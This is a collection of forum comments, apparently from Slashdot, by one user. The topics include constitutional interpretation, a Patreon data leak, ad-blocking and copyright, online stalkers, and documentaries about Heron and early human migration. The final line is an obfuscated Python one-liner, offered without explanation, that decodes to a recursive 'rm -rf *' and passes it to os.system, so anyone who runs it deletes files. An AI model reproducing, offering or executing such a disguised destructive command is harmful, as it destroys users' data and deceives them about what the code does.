Anyhow, I appreciate the lesson and it gives me a few points to do some additional reading/research. I'm disappointed that we've a Constitutional Scholar as a president who's used that scholarship to encourage and abet the circumvention of the document and its very ideals. I was a little skeptical of posting my comment, not because I fear moderation, because I didn't really have the wherewithal to dig out the resources to cite my claim. I was a little leery that I'd be asked to defend it and I don't quite know how to go about doing that in a reasonable time.
As I said, my fascination with history is not a scholarly pursuit. I do make an effort to understand. What's great is that someone on Slashdot frequently has the knowledge that I don't have. I can mention something like this, something that you might not have thought of or taken the time to write about, and mention the basics and someone (namely you in this case) will come along and fill in the gaps for me and for the other readers. I watch a lot of documentaries but they're entertainment and learning is incidental - I don't watch any real television and haven't in years so having all these documentaries online makes me very happy.
Having said that, and this may be tough to answer, there are mechanisms in place to get us back to where we were. Even SCOTUS can overturn prior decisions. I see this as a very unlikely outcome. Baring a straight up bloody revolution, do you see any path back to those limitations? Do you see the government conceding power willfully? If so, how can we go about working towards that goal?
http://yro.slashdot.org/commen...
Just for you. ;-) You win a gold star for improvement. Marginal improvement but improvement nonetheless.
Hmm... No... Marked improvement, really. I dunno how I remembered the earlier posts (I can't even be certain what I ate for dinner two nights ago) but somehow that stuck in my head. I dare say, with some work, you'll be almost rational again in a few years. Think carefully how the data can be abused. You don't think your heroes are without blemish, do you? In certain subsets of our culture - those who support your idols will also be targeted should this information come to light. Be careful what you wish for.
The very idea that you wanted to have people silenced is still baffling to me. Well no, I understand disliking it but I don't understand the desire to control others. Better the idiot you know than the one skulking about in the shadows, no? People should be free to be stupid and people should be free to enable others to be stupid, no?
What if, say, a closeted homosexual were an executive at a conservative company and donated a goodly amount of money to someone you enjoyed and respected via Patreon? What if this is a bunch of people? What if this is just enough people who lose their jobs, after this information comes to light, for "other reasons" and the idols you have are no longer able to be advocates? What if those companies are put out of business because they have conservative or religious customers who drop them and they're no longer able to support your idols? What if they were having private personal messages discussing their nefarious plans to take down the two people you mention in your post and are then stripped of their membership at Patreon for conspiring against another user in an effort to deprive them of income?
You'd absolutely not support this data leak then - in fact, we both know you'd be slamming it and claiming it was against the law, the perpetrators need to be jailed, and that someone ought to do something! You'd be in straight up hysterics. (If the conniption fits, wear it.) You'd be, shall we say, going ballistic and we both know this to be true.
So, yes, I see your post today as tempered and a marked improvement and my original conclusion that it was a marginal improvement is in error. You're no longer calling for people to act on this to use it as a weapon to silence people and that's an improvement. I figured that I'd referenced you and discussed you in a comment below so it was only fair/appropriate to notify you of such. There is no need to respond but you can, if you want. You don't usually reply to folks but I know you read them.
'Snot my fault you marked me as a foe. Sheesh. That's the indicator that I use to keep track of users so I can remember who's said smart things and who hasn't. Thus it automatically brings your posts to my attention. The funny thing is, we're probably on the same side and you just don't realize it. Err... And I'm also not a crazy zealot so there's differences. I admire your ability to empathize but you sure seem to lose perspective with some issues and take things to an extreme - to the point of becoming that which you profess to hate.
Ah well, there's your amateur (unqualified) psychoanalysis. In fairness, I admire your empathy but I'd dread having your logic circuits. I imagine that there are subjects where I too am irrational but I don't see it because, well, I'm irrational. Anyhow, as said, no need to reply unless you feel compelled to do so. I just figured I'd share that you were discussed and that you might miss said discussion and the chance to speak on your own behalf if you felt a need to do so. I also figured that I'd commend you on your more tempered response. I'd like to think that you'd do the reverse and, if you wouldn't, don't tell me 'cause I would prefer to not be disillusioned. I am jaded enough, thanks. And no, I don't think I stated anything that you'd defend yourself from but it would be "unfair" of me to not give you the chance to do by omission.
If you follow this topic back to the beginning of it - as it showed up here, you can find that AmiMojo very specifically rooted for this data to be released in hopes that it would be used to silence the people they don't agree with. They were quite pleased about the idea and hoped that it would make people cut off their funding and inhibit these people's ability to be heard and motivation to speak. In other words, they wanted to make them less able to act on their freedom of speech. They were quite open about this.
This? This is an improvement. Ami's made some decent strides as of late. Just encourage them to think and show them the people they're associating with and how their behavior is seen. I'd never have noticed but I did something to piss them off so they flagged me as a foe. I'd never really paid attention to them. Unfortunately, for them, some things stick in my memory and the little flag makes me pay attention to their username as I use the flag to mark posters who have interesting things to say or to ignore those who don't.
So, that means I remember. I'm too lazy to dig through their post but they're all public. Just click on the older link at the bottom of their profile and go back in time. They've discussed this in two separate threads - this is the third. Their tone has tempered since the first and, frankly, I'm kind of proud of them. I see their zealotry as a problem but not their empathy. In my view, they're empathetic to the point that they lose rationality. Meh, it happens to all of us with certain subjects. We're not Vulcans.
Anyhow, feel free to verify this. This is actually an *improvement* for them. (I don't imagine that they'd expected anyone to recollect their prior posting and, truthfully, I wouldn't have but they made themselves a detail that I pay attention to.) At first they were gleeful and eager. They wanted a group of people to use this information to shut down the two specific people that they mentioned in their post. They wanted others to take away their funding source and limit their ability to speak.
If it were people outing homosexuals for the purpose of embarrassing them then I doubt they'd be so inclined to root for the data leak and would be saying leaking such data is immoral. But, baby steps. I'm kind of surprised that I remembered but, well, some things just stick in your memory for some reason. The material is free for one to look up if they want. I'm a bit lazy so that's unlikely to be something that I do.
I'm not positive but I think war profiteering is supposed to be illegal. It doesn't appear to be prosecuted in modern times, however. We've got a war on *everything* except stupidity (but I think there's a war on illiteracy). With that in mind, I'm now thinking there are a number of business executives who could do well by serving a little prison time. We should let out some non-violent drug offenders to make room.
The book you bought at the book store was a single copy, not multiple copies made from a single source. I don't think a fair use exception is *likely* to hold up - even in Germany. Either way, you bought one book that the vendor purchased and sold to you. The app company bought nothing, is stripping the ads out, repackaging, and selling the content. Hyperbole aside, that's just not going to fly in a reasonable court. There's a big difference between that and buying a used book with some notes and missing/torn pages.
Hmm... This would be more like buying a single copy, scratching the authors name out, adding some notes to the margins, maybe highlighting something, cutting out the pictures, ripping out the table of contents, inserting your own table of contents, throwing the appendices into the trash, photocopying it 10000 times, and selling the copies! (I mean, if we're gonna be hyperbolic then I want in on this too.) I just don't think the fair use argument is valid. Altruistic? Yes. Valid? Not so much.
Were I to take the side of the newspaper company, I'd have opted to not seek redress under copyright alone - I'd have also first vied for estoppal with basic tenets (assuming they're similar) of property law. I'd think the property laws would be stronger protection though they may not cover financial loss. If they can prove the property violation (seems trivial) then they can likely prove demonstrable harm with a copyright suit (assuming it is similar to the US) and then seek financial compensation.
I detailed the property harm in another post in this thread if it's not clear.
Obviously, don't think that I'm absolutely advocating that this is how it should be. I'm simply saying this is how it is. I'd go so far as to say I'm not entirely sure how it should be - I truly haven't reached a conclusion as to how it *should* be. At this point, I'm inclined to believe that a company, or person, should have complete control over their property and that includes the server owner having a right to say how their system is used. At the same time, I find that antithetical to the idea of an ideal of freedom but, then again, freedom does (potentially) rely on the basic concepts of ownership and control of one's property. For, of course, certain definitions of freedom.
Again, if that's confusing, this thread has a more detailed post on my thoughts concerning the property rights aspect. At this point, it's mostly mental bubblegum.
At any rate, to use your book as yet another example of why this isn't likely to be found legal, the author of the your book was paid once and someone reselling books have an explicit exception in them known as the 'first sale doctrine.' There's no exception for that in this case and, if there was, it'd only include the ability to sell a single copy.
You could *probably* buy a single copy of the paper, we'll say physical for simplicity, and cut the ads out of that before reselling it at a profit or loss. I dare say that such would be completely legal. You can build a device that would enable paper BUYERS to view their PURCHASED papers without seeing the ads. But you couldn't sell them a device and then steal the paper for them every day so that they had a copy to read.
Hmm... You know? There's no really good analogy for this. I'll try to think of a car analogy if you want but I'd be a little suspicious if you asked for one. ;-)
Their syntax is similar to my stalker. They sometimes post while logged in. Do you get strange down-mods from time to time but only three of them? (I make enough off-topic posts, they should be able to legitimately use up those mod points with just a little effort.) I'm starting to wonder if meta moderation has impacted them? They could moderate five down but now it's just three. They're usually within ten minutes of each other, I made it a point to try to observe them out of curiosity.
It kind of strokes the ego to be able to control someone like that. I just turned my positive post modification on which more than negates them and enjoy the attention. Sometimes they post and call me names. I'm usually all too kind in my replies for I'm afraid they're mentally ill and I'd not want to be even partially responsible for their hurting themselves. It does stroke the ego however, so there's that.
Maybe we have the *same* stalker? I'd presume they're unemployed as they seem to have an inordinate amount of free time. If they let me know where they lived and the field they preferred then I might actually know someone who will give them a chance if they're willing to put on clean clothing, act like a human, and put a legitimate effort into working a full day. I know a lot of people and it wouldn't be the first time that I've been able to get someone a job.
So, yeah, I'm just kind to them (well, I poke at them once in a while for my own amusement) and realize that they're taking the time to make you the center of their attention. They're giving you control of their time. They're giving you work and accumulated resources in order to show you that you're important to them. It's all about perspective!
Somewhere we screwed up. See, as near as I can tell - and I'm not an expert, the Constitution was an enumerated list of things the Government could or could not do. Basically, it said what the government could not do AND what the government could do - with certain limitations. Now, I'm not sure when, we seem to have interpreted this poorly. It has become more like, if the Constitution does not say that it is, expressly, disallowed then it is permitted. They seem like similar things at first blush but, really, they're not - the difference is kind of huge in practice.
I don't know where we screwed up and, maybe, I am missing something but that's seemingly how it was meant to be. Once upon a time (and it did not seem to be a long time) the idea was that if the Constitution didn't say they could do it then they couldn't do it and if the Constitution said that they couldn't do it then it was strictly verboten even if they could twist it into other definitions.
From my reading and learning, I've decided that there's no one spot to place the turn about. I think the biggest change happened when they decided to use their ability to regulate commerce between the States to stomp on a farmer and SCOTUS decided to uphold it. I don't really know so that's speculation that is based on my limited research and incidental learning.
I could be wrong but I don't think I am. There are a lot of people who seem to support this reinterpretation of the principle objectives in the very idea of a Constitution. I wish I could articulate this better but I am not a writer. Well, I am not a good writer.
I'm inclined to agree that that *should* be the case but this is, still, private property with the various rights associated with it as well as copyright. This is, of course, open to debate as to changing it but, until those are altered, they may have legal standing. I'm not sure where I'd fall in the opinion range as to changing property rights but I can see changing copyright laws. Even if the store is open, they can still insist you neither take stuff that doesn't belong to you AND insist you wear a shirt and shoes. They can probably even insist that you wear a green shirt. While silly and not a good business model, I do support their right to make bad choices.
Now that's taking it to an extreme level and you missed the finer points... Intentionally? Willfully? Did you intentionally skip the part about fair use and retaining certain rights?
Also, note that it is more like buying a book, writing "From the library of KGIII" and then making multiple copies and selling those. The two are NOT the same.
Sheesh... I know you're smarter than this. ;-) I *do* hold you to a higher standard than most but, c'mon now!
Wait... They're joking? Heh... I had no idea and sat there baffled for a minute. I couldn't figure out how one would keep Britain white (it hasn't been for a very long time) and figured they were part of the MUDKIP party or whatever those folks are that keep insisting their not racists but want to cut immigration. Err... I don't exactly keep up with UK politics so... I was wondering how they'd been modded up. I honestly did not know that they were joking. Maybe it's my exposure to Slashdot? Either way, it's hard to tell. I'm quite certain that there is a subset of people who believe exactly as they posted. While I don't keep up with the politics, I have been exposed to some articles about some of the people there.
While certainly true - the point which I was making is that there are some minimal criteria to be met in order to be competent at the job one was hired for. There's also a basic level of knowledge and ability to research that one needs to have if they're to be competent. I chose my example question carefully because I know there are many, many online resources that would give a good grounding and enable them to ask more specific questions if they struggled at some point in the many, many online resources available that would answer all of those questions.
My example question was not a random one. There's absolutely no reason for a question that vague, or demonstrating that much unwillingness to do the initial research, to exist on the site(s). Fortunately, they're usually closed but that they're even asking such questions, at such a site, is a good indicator that they're probably not a good hire.
Presumably, in your case, you'll not only know enough to get up to speed quickly but you'll know which questions to ask in order to get up to speed quickly. You won't need to ask vague questions or, basically, need someone to write a step-by-step for you (which is also something seen). Another that irks me is when they person insists that it is urgent and tells (not asks) you to do something. "Send me a step-by-step." "Write the script for me." That seems cultural, in many cases, so I am not really qualified to opine as I am not a cultural studies or anthropology student or anything. I'm thinking that gratitude is implied but poorly conveyed in text so that my being irked may not be entirely justified in those cases even if I feel they should learn the cultural conventions if they're going to learn the languages.
At any rate, I assume that you're capable and competent enough to know how to be a DBA. To put your example into context, it would be like someone saying that they're a DBA and have been for years only to follow it up by asking what joins and tables are.
The solution is not to take use their content without adhering to their terms but to simply not use their content. This is not a difficult or situational-ethics topic. It's pretty cut and dry. They don't have a right to run code on your machine. You do not have a right to their content.
As such, a couple of things are in play...
They can say, if you want to access B then you must allow A and C. They then can serve up the content if you allow that content to run.
You can say, I do not want to allow C. You can then elect to find a different resource or create your own.
Ideally, you'd be able to access B without needing to access A and C but it's their toy and they don't have to let you play with it. They're not obligated to share and you're not obligated to let them access your computer. If you don't like their terms then don't use their services. Unless you're using Firefox, you probably have a back button. If not, then you probably have an address bar.
You are not necessarily permitted to do so. I can not, for example, take a book and modify it a little bit and then transfer copies of it even if I include the original. It's rather subjective and it's hard to say but I suspect that this will not fall into the "fair use" case much like it wouldn't likely succeed as a fair-use case if they stripped out ads and packaged it anew with ads of their own or similar things.
This is the German courts, however. No telling how they'll go. It does have the required bits to make it an interesting case, so there's that. I'm going to have to ask for a citation for your conclusion that such is legal provided you include "all copies, modified or not, when you transfer the originals." You don't even have a *right* to transfer it and, as far as I know, German law is the same in these regards. For instance, you can not just print out their site and hand it out to people - as a general rule. There are some exclusions where you have certain rights but selling an application isn't likely one of those areas.
While true there's the caveat as you're utilizing property, namely a computer, that doesn't belong to you. I'm of the mind that they're free to say that I can't access their site unless I disable my adblocking software. It's their property and they should be able to set the terms and conditions for accessing that property. I am, of course, free to abide by those choices or simply press the back button.
Much like they've no right to force you to run code, you've no right to access their property without their permission. If their permission requires the ability to run code on your machine then your answer should (or could) be to simply not visit. If you don't like their terms, do not use their site. It's pretty simple, really.
If enough people don't visit then they'll either do as you suggest - adapt their model or users will accept their terms. If you can't accept their terms then, by all means, don't use their product. If you're using their product without adhering to their terms then maybe you are violating the law and maybe litigation is required. If I tell you that you can come into my house but you can't steal my silverware then you should adhere to those rules. If you don't then I'm likely to ask you to leave. If you insist on entering my house and stealing my silverware then I have a right to seek legal redress.
Optionally, if your goal is to acquire silverware, don't do it at my house. Or, you know, find a house where they'll let you take their silverware (but it's not really stealing it - if they've given permission). I guess, in the real world, I'd probably just buy you a set of silverware if you didn't have any but, frankly, I think that this tortured analogy is best off dead at this point.
I use adblocking software. I have since the very early days of the WWW. If a site doesn't like it then I either turn it off (unusual) or I leave (typical). I also control what scripts I allow and disallow. If a site tells me that I can not do so then I do not do so. It is their property to decide and my property to decide. I've no right to their content and they've no right to my machine. What we do have is the ability to make decisions as to what we'll allow and disallow. Some folk decide to allow it all, some to allow none, and I prefer to make a choice based on the site, my desire for the content, and how much permission they're asking for.
I don't know if that was a Greek or if it was a Greek living in a later date and living in Egypt. I forget his name and am a bit too lazy to look it up but if the person you're speaking of is the same one that I'm thinking of (the first to do such) he was also the person who made the first steam engine except he never made it work. He did things like make a coin operated holy water dispenser? If it's him then it's usually (wrongly) attributed to the Greeks and to the age where they were at their peak. He was an Alexandrian (not sure if by birth or not) and did much of his work in the temples there. The famous historical UK model maker has recreated some of his work including the device you seem to be referencing.
(I just re-watched a documentary about him, specifically, a couple of months ago.)
Oh - Heron. That was his name, as I recall. Heh... There's a whole documentary about him, at least I think it was entirely about him. He was, as I recall, from an age that's typically considered later than the age of the Greeks. He was in Alexandria, as I recall. Only a few of his writing survived the destruction of the famous library there. It was in the library, they believe, that he did much of his work and research which would have, of course, relied on the older Grecian works.
I may be misremembering something but I'm pretty sure those are the main details. It's correct to say that he was Greek (as I recall) but not *really* correct to say that his work is attributed to the Ancient Greeks. This may be incorrect but I think his work was sometime in the 200 BCE range or newer? They may have even been in the 100 BCE area but, as said, I've not made a scholarly pursuit from this but simply seen him pop up in a bunch of documentaries over the years. Unfortunately, there's no good indexing of documentaries that would enable me to search the transcripts and find him and I'd probably be too lazy to do so considering that I've not even bothered to open Google for this comment but it would be awesome.
Hmm... This is more true than you might know. I watch an obscene number of documentaries and the subjects vary greatly. One of my favorite subjects is archeology as it ties in nicely with my absolute favorite - history. Other favorites are a variety of sciences, more specifically astrophysics and astronomy.
As of late, a recurring subject that is tangentially included is that things are turning out to be quite a bit older than we had previously thought. We're finding that ancient civilizations and their tech are much older than we'd previously believed. As we learn, we're finding out that the galaxy is older than we'd previously believed. We've been able to make further refinements and find out that the human species is older than believed. We've now determined that humans likely came to the Americas, in two separate waves, and that this happened further back in time than we'd previously believed.
It's kind of interesting and I keep hearing it mentioned in the various documentaries that I watch. I watch them almost to the exclusion of everything else so the internet has been a great benefit to me in those regards. I've never been a fan of television and haven't really watched much (or any, really) in a very long time and haven't watched much at all since the mid-1980s. It is nice to have this as a resource and something that I truly appreciate having access to but I digress.
If you're curious, the first wave of humans to make it (according to current evidence) to the Americas were in South America and the second group stomped across in the north. There's no evidence that the two groups ever met. Some Amerindians were able to use DNA to demonstrate this, or a portion of this, as evidence in a case to recover some remains. That particular documentary was some NOVA production and was a series about the origins of man. I've forgotten the title but I think it was something like, "Where did we come from?" (I don't watch for scholarly reasons but as passive entertainment. Learning is incidental and not my goal which means that names, dates, and specifics often are not locked in memory. It's learning by osmosis, so to speak.)
Entirely off-topic but I just re-watched Revolution OS (link for those who are new and/or unaware of it). It had popped up in the recommended videos as the next one that it would play and I'd not seen it for a number of years so I figured I'd let it play through. It is amusing with how much things change and stay the same - like the lyrics to the linked song.
With all the pressing issues, well, we get this. Throw us a fish to fight over so that we're distracted from more important things. For everything that changes, it's really much the same. I liken it to our use of the "cloud" and how, even with all these wasted compute cycles sitting in our pockets, we're returning to the age of the dumb terminal.
I don't have anything pertinent to say except that it was interesting to revisit the documentary after all these years. It's high time to make a second version with updated content that also revisits the first.
It took me a minute to figure out that I know who Mark Cuban is. At first, I thought it was some sort of way to swear a bunch and donate to a Cuban charity. I was set to unleash a torrent of profanity in an effort to lend assistance but, having read the summary (and not the article) and some comments, I've concluded that this charity is not likely to be something that I wish to render assistance to.
I'm all for being polite and all for using respectable speech. I am all for doing so of my own volition. I'd rather not have someone telling me that I must do so, shaming for failing to do so, or telling you that you are not allowed to do so. I'm free to censor my own speech. I'm not entitled to censor your speech. I'd not feel comfortable supporting a group that had a goal of censorship even if it was limited to peer pressuring folks into compliance.
Now, if talking trash and swearing meant that I'd be supporting a group that was pro-speech then I might consider it. If it were for a group that was advocating freedom of speech in Cuba then, by all means, I'd be interested. Cuba is a lovely place and full of nice people. I'm quite fond of the place and will surely be visiting again though I'm not entirely sure when it will fit into my schedule.
As an aside; I need to check out the new regulations concerning a travel visa. It has been a while since I last visited and I understand that the regulations have drastically changed. I do anticipate being in Florida in the very near future (probably in DC by the end of this week - post holiday) and it's a short flight to Cuba from there. I'll be certain to look into it when I get down that way - I should probably do so sooner as I don't know how much lead-time will be required. Every other time it has actually been easier than one might expect. I simply flew from Canada the first time and Mexico the second time.
Heh... And this:
python -c 'import os; os.system("".join([chr(ord(i)-1) for i in "sn!.sg!+"]))'